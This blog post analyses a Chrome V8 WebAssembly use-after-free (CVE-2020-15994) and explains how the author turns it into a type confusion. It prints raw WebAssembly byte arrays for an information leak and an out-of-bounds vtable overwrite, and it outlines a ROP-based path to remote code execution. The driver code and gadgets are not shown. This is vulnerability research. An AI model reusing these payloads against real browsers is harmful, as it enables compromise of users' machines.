Posted on: Wed, Jan 15 2021

Introduction
CVE-2020-15994 reported by Johnathan Norman (@spoofyroot), Microsoft Browser Security Research team member was patched with release of Chrome 86 on October 13th, 2020.
This is a use-after-free vulnerability in V8, the Javascript engine of Google Chrome and classified as important with high exploitability.
The vulnerability exists in WebAssembly engine of V8 and can be used for Chrome remote code execution. You can see the Johanthan's PoC code here.
But we should resolve a lot of problems to exploit this vulnerability and get remote code execution using this regress code.
During the analysis of the vulnerability I found the possibility for changing the vulnerability type and developed new exploit technique that can be used for exploiting the vulnerabilities in other components of Chrome including Blink and WebAssembly.
In this post I will share all the details of my analysis.
Vulnerability
AsyncCompileJob Object
I constructed new PoC code using WebAssembly.instantiateStreaming API function instead of WebAssembly.compileStreaming function used in the public PoC code.
Here is the usage of WebAssembly.instantiateStreaming function.


AsyncCompileJob object is just the main V8 object that is used in the process of WebAssembly.instantiateStreaming function.
This object supports asynchronous compilation of WebAssembly using WebAssembly.compileStreaming or WebAssembly.instantiateStreaming function.
The value of rdx register is not validated and used as a offset in the input buffer so that it can be used for reading arbitrary address. The bug was fixed by checking the value of the rdx register.
AsyncCompileJob class is declared in module-compiler.h as following.

Here the most important functions are ~AsyncCompileJob, Abort, PrepareRuntimeObjects and FinishModule and I will explain these functions and related objects briefly.
The first one is ~AsyncCompileJob, the destructor of the AsyncCompileJob class.

In the above source code, the destructor of AsyncCompileJob class destructs its member variable module_object in the process of destructing the object.
This code will be used effectively for finding the method of code execution in the next steps.
AsyncCompileJob::FinishModule function is called for instantiating the compiled WebAssembly code as Javascript object. Finishing this function the WebAssembly engine removes AsyncCompileJob object because compilation is already finished.

The last function to review is AsyncCompileJob::Abort function.
This function is called in the case of failure for downloading the WebAssembly code and removes AsyncCompileJob object for canceling all compilation process.

As you can see above there is a possibility for triggering use-after-free because there are different ways to free the AsyncCompileJob object.
Root Cause Analysis
I’m not going to describe the detailed processes of the WebAssembly engine and the different function calls but the root cause of the vulnerability and the related functions briefly.
Compiling the WebAssembly code, a Javascript object called importObject is used as a parameter for indicating the interface of WebAssembly and Javascript codes.
In other words, in the case of compiling WebAssembly code using WebAssembly.instantiateStreaming function, it indicates importObject as the interface for accessing the Javascript functions and objects from WebAssembly code.
The call stack of WebAssembly.instantiateStreaming function is following.

The most remarkable function in the above call stack is just InstanceBuilder::SanitizeImports function. As you can see here the functions are called from above mentioned AsyncCompileJob object.

This function interprets the importObject parameter and here we can call Javascript callback function as following.

If we define the Getter accessor to importObject, InstanceBuilder::SanitizeImports function just calls the Getter function as a callback.
Furthermore, if we can call AsyncCompileJob::Abort function in this callback function we can trigger use-after-free returning to AsyncCompileJob::FinishModule function. We can implement this scenario using AbortController WebAPI object and finally get new PoC code.

Exploitation
Derivation
We can get the following crash log by executing above new PoC code.

We can recognize that the crash occurs at (1) in the source code.

The module_object variable is defined in AsyncCompileJob class as following.

The module_object is a global handle that indicates the WasmModuleObject containing the information of compiled WebAssembly code and it was already destroyed at this point with the destruction of AsyncCompileJob object.
If we creates new global handle in V8 or Blink, the module_object will indicate newly create handle and therefore there is a possibility for changing the vulnerability type to type confusion because new object can be referenced instead of WasmModuleObject.
Compiling new WebAssembly code after triggering the vulnerability in the callback function, the new global handle corresponding to new WebAssembly code will be created and indicated by module_object variable and thus information leak and code execution is possible because old WebAssembly code is instantiated based on the new WasmModuleObject information.

Information Leak
We can leak required information in InstanceBuilder::LoadDataSegments function using two WebAssembly codes containing different data segments.
In more detail, by setting large data segment size of compiled WebAssembly code and small size of newly created one we can obtain information with the result of intantiating based on new WebAssembly code.
In the following source code, Size variable is the size of data segment of old WebAssembly code and wire_bytes is the WASM code of new WebAssembly code by type confusion and thus we can get out-of-bound read by memcpy function.

Followings are full WebAssembly codes and Javascript code used for information leak.
wasmCode_Info = new Uint8Array([
0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x04,0x01,0x60,0x00,0x00,0x02,0x99,
0x01,0x01,0x92,0x01,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x01,0x66,0x00,0x00,0x05,0x03,0x01,0x00,0x10,0x07,
0x07,0x01,0x03,0x6D,0x65,0x6D,0x02,0x00,0x0B,0x46,0x01,0x00,0x41,0x00,0x0B,0x40,
0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0A,0x0B,0x0C,0x0D,0x0E,0x0F,
0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F,
0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2A,0x2B,0x2C,0x2D,0x2E,0x2F,
0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3A,0x3B,0x3C,0x3D,0x3E,0x3F
]);
wasmCode_InfoHandle = new Uint8Array([
0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x04,0x01,0x60,0x00,0x00,0x02,0x99,
0x01,0x01,0x92,0x01,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x01,0x66,0x00,0x00,0x05,0x03,0x01,0x00,0x10,0x07,
0x07,0x01,0x03,0x6D,0x65,0x6D,0x02,0x00,0x00,0x1E,0x01,0x31,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
]);

Code Execution
We can execute arbitrary code by overwriting the virtual table of a certain Blink object in InstanceBuilder::ProcessImportedWasmGlobalObject function using WebAssembly codes containing different number of global objects.

The result of instance->imported_mutable_globals function is the buffer for compiled WebAssembly code and global.index is the index for new WebAssembly code and therefore out-of-bound write occurs if the sizes are different.
These are the WebAssembly codes and Javascript codes used for code execution.
wasmCode_Oob = new Uint8Array([
0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x04,0x01,0x60,0x00,0x00,0x02,0xC0,
0x03,0x40,0x01,0x61,0x01,0x66,0x00,0x00,0x01,0x62,0x01,0x21,0x03,0x7C,0x01,0x01,
0x62,0x01,0x22,0x03,0x7C,0x01,0x01,0x62,0x01,0x23,0x03,0x7C,0x01,0x01,0x62,0x01,
0x24,0x03,0x7C,0x01,0x01,0x62,0x01,0x25,0x03,0x7C,0x01,0x01,0x62,0x01,0x26,0x03,
0x7C,0x01,0x01,0x62,0x01,0x27,0x03,0x7C,0x01,0x01,0x62,0x01,0x28,0x03,0x7C,0x01,
0x01,0x62,0x01,0x29,0x03,0x7C,0x01,0x01,0x62,0x01,0x2A,0x03,0x7C,0x01,0x01,0x62,
0x01,0x2B,0x03,0x7C,0x01,0x01,0x62,0x01,0x2C,0x03,0x7C,0x01,0x01,0x62,0x01,0x2D,
0x03,0x7C,0x01,0x01,0x62,0x01,0x2E,0x03,0x7C,0x01,0x01,0x62,0x01,0x2F,0x03,0x7C,
0x01,0x01,0x62,0x01,0x30,0x03,0x7C,0x01,0x01,0x62,0x01,0x31,0x03,0x7C,0x01,0x01,
0x62,0x01,0x32,0x03,0x7C,0x01,0x01,0x62,0x01,0x33,0x03,0x7C,0x01,0x01,0x62,0x01,
0x34,0x03,0x7C,0x01,0x01,0x62,0x01,0x35,0x03,0x7C,0x01,0x01,0x62,0x01,0x36,0x03,
0x7C,0x01,0x01,0x62,0x01,0x37,0x03,0x7C,0x01,0x01,0x62,0x01,0x38,0x03,0x7C,0x01,
0x01,0x62,0x01,0x39,0x03,0x7C,0x01,0x01,0x62,0x01,0x3A,0x03,0x7C,0x01,0x01,0x62,
0x01,0x3B,0x03,0x7C,0x01,0x01,0x62,0x01,0x3C,0x03,0x7C,0x01,0x01,0x62,0x01,0x3D,
0x03,0x7C,0x01,0x01,0x62,0x01,0x3E,0x03,0x7C,0x01,0x01,0x62,0x01,0x3F,0x03,0x7C,
0x01,0x01,0x62,0x01,0x40,0x03,0x7C,0x01,0x01,0x62,0x01,0x41,0x03,0x7C,0x01,0x01,
0x62,0x01,0x42,0x03,0x7C,0x01,0x01,0x62,0x01,0x43,0x03,0x7C,0x01,0x01,0x62,0x01,
0x44,0x03,0x7C,0x01,0x01,0x62,0x01,0x45,0x03,0x7C,0x01,0x01,0x62,0x01,0x46,0x03,
0x7C,0x01,0x01,0x62,0x01,0x47,0x03,0x7C,0x01,0x01,0x62,0x01,0x48,0x03,0x7C,0x01,
0x01,0x62,0x01,0x49,0x03,0x7C,0x01,0x01,0x62,0x01,0x4A,0x03,0x7C,0x01,0x01,0x62,
0x01,0x4B,0x03,0x7C,0x01,0x01,0x62,0x01,0x4C,0x03,0x7C,0x01,0x01,0x62,0x01,0x4D,
0x03,0x7C,0x01,0x01,0x62,0x01,0x4E,0x03,0x7C,0x01,0x01,0x62,0x01,0x4F,0x03,0x7C,
0x01,0x01,0x62,0x01,0x50,0x03,0x7C,0x01,0x01,0x62,0x01,0x51,0x03,0x7C,0x01,0x01,
0x62,0x01,0x52,0x03,0x7C,0x01,0x01,0x62,0x01,0x53,0x03,0x7C,0x01,0x01,0x62,0x01,
0x54,0x03,0x7C,0x01,0x01,0x62,0x01,0x55,0x03,0x7C,0x01,0x01,0x62,0x01,0x56,0x03,
0x7C,0x01,0x01,0x62,0x01,0x57,0x03,0x7C,0x01,0x01,0x62,0x01,0x58,0x03,0x7C,0x01,
0x01,0x62,0x01,0x59,0x03,0x7C,0x01,0x01,0x62,0x01,0x5A,0x03,0x7C,0x01,0x01,0x62,
0x01,0x5B,0x03,0x7C,0x01,0x01,0x62,0x01,0x5C,0x03,0x7C,0x01,0x01,0x62,0x01,0x5D,
0x03,0x7C,0x01,0x01,0x62,0x01,0x5E,0x03,0x7C,0x01,0x01,0x62,0x01,0x5F,0x03,0x7C,
0x01
]);
wasmCode_OobHandle = new Uint8Array([
0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x04,0x01,0x60,0x00,0x00,0x02,0xAB,
0x03,0x3D,0x01,0x61,0x01,0x66,0x00,0x00,0x01,0x62,0x01,0x21,0x03,0x7C,0x01,0x01,
0x62,0x01,0x22,0x03,0x7C,0x01,0x01,0x62,0x01,0x23,0x03,0x7C,0x01,0x01,0x62,0x01,
0x24,0x03,0x7C,0x01,0x01,0x62,0x01,0x25,0x03,0x7C,0x01,0x01,0x62,0x01,0x26,0x03,
0x7C,0x01,0x01,0x62,0x01,0x27,0x03,0x7C,0x01,0x01,0x62,0x01,0x28,0x03,0x7C,0x01,
0x01,0x62,0x01,0x29,0x03,0x7C,0x01,0x01,0x62,0x01,0x2A,0x03,0x7C,0x01,0x01,0x62,
0x01,0x2B,0x03,0x7C,0x01,0x01,0x62,0x01,0x2C,0x03,0x7C,0x01,0x01,0x62,0x01,0x2D,
0x03,0x7C,0x01,0x01,0x62,0x01,0x2E,0x03,0x7C,0x01,0x01,0x62,0x01,0x2F,0x03,0x7C,
0x01,0x01,0x62,0x01,0x30,0x03,0x7C,0x01,0x01,0x62,0x01,0x31,0x03,0x7C,0x01,0x01,
0x62,0x01,0x32,0x03,0x7C,0x01,0x01,0x62,0x01,0x33,0x03,0x7C,0x01,0x01,0x62,0x01,
0x34,0x03,0x7C,0x01,0x01,0x62,0x01,0x35,0x03,0x7C,0x01,0x01,0x62,0x01,0x36,0x03,
0x7C,0x01,0x01,0x62,0x01,0x37,0x03,0x7C,0x01,0x01,0x62,0x01,0x38,0x03,0x7C,0x01,
0x01,0x62,0x01,0x39,0x03,0x7C,0x01,0x01,0x62,0x01,0x3A,0x03,0x7C,0x01,0x01,0x62,
0x01,0x3B,0x03,0x7C,0x01,0x01,0x62,0x01,0x3C,0x03,0x7C,0x01,0x01,0x62,0x01,0x3D,
0x03,0x7C,0x01,0x01,0x62,0x01,0x3E,0x03,0x7C,0x01,0x01,0x62,0x01,0x3F,0x03,0x7C,
0x01,0x01,0x62,0x01,0x40,0x03,0x7C,0x01,0x01,0x62,0x01,0x41,0x03,0x7C,0x01,0x01,
0x62,0x01,0x42,0x03,0x7C,0x01,0x01,0x62,0x01,0x43,0x03,0x7C,0x01,0x01,0x62,0x01,
0x44,0x03,0x7C,0x01,0x01,0x62,0x01,0x45,0x03,0x7C,0x01,0x01,0x62,0x01,0x46,0x03,
0x7C,0x01,0x01,0x62,0x01,0x47,0x03,0x7C,0x01,0x01,0x62,0x01,0x48,0x03,0x7C,0x01,
0x01,0x62,0x01,0x49,0x03,0x7C,0x01,0x01,0x62,0x01,0x4A,0x03,0x7C,0x01,0x01,0x62,
0x01,0x4B,0x03,0x7C,0x01,0x01,0x62,0x01,0x4C,0x03,0x7C,0x01,0x01,0x62,0x01,0x4D,
0x03,0x7C,0x01,0x01,0x62,0x01,0x4E,0x03,0x7C,0x01,0x01,0x62,0x01,0x4F,0x03,0x7C,
0x01,0x01,0x62,0x01,0x50,0x03,0x7C,0x01,0x01,0x62,0x01,0x51,0x03,0x7C,0x01,0x01,
0x62,0x01,0x52,0x03,0x7C,0x01,0x01,0x62,0x01,0x53,0x03,0x7C,0x01,0x01,0x62,0x01,
0x54,0x03,0x7C,0x01,0x01,0x62,0x01,0x55,0x03,0x7C,0x01,0x01,0x62,0x01,0x56,0x03,
0x7C,0x01,0x01,0x62,0x01,0x57,0x03,0x7C,0x01,0x01,0x62,0x01,0x58,0x03,0x7C,0x01,
0x01,0x62,0x01,0x59,0x03,0x7C,0x01,0x01,0x62,0x01,0x5A,0x03,0x7C,0x01,0x01,0x62,
0x01,0x5B,0x03,0x7C,0x01,0x01,0x62,0x01,0x5C,0x03,0x7C,0x01
]);

Stack Pivot
I chose the MediaStreamTrack and WebAudioMediaStreamSource objects in Blink for information leak and code execution. These objects are located on the same heap as the WebAssembly engine objects and we can use general Windows heap spray techniques for stable remote code execution.
And I used the following ROP gadgets for code execution and used chrome!gin::`anonymous namespace'::PageAllocator::SetPermissions function for setting the RWX permission for arbitrary memory regions.
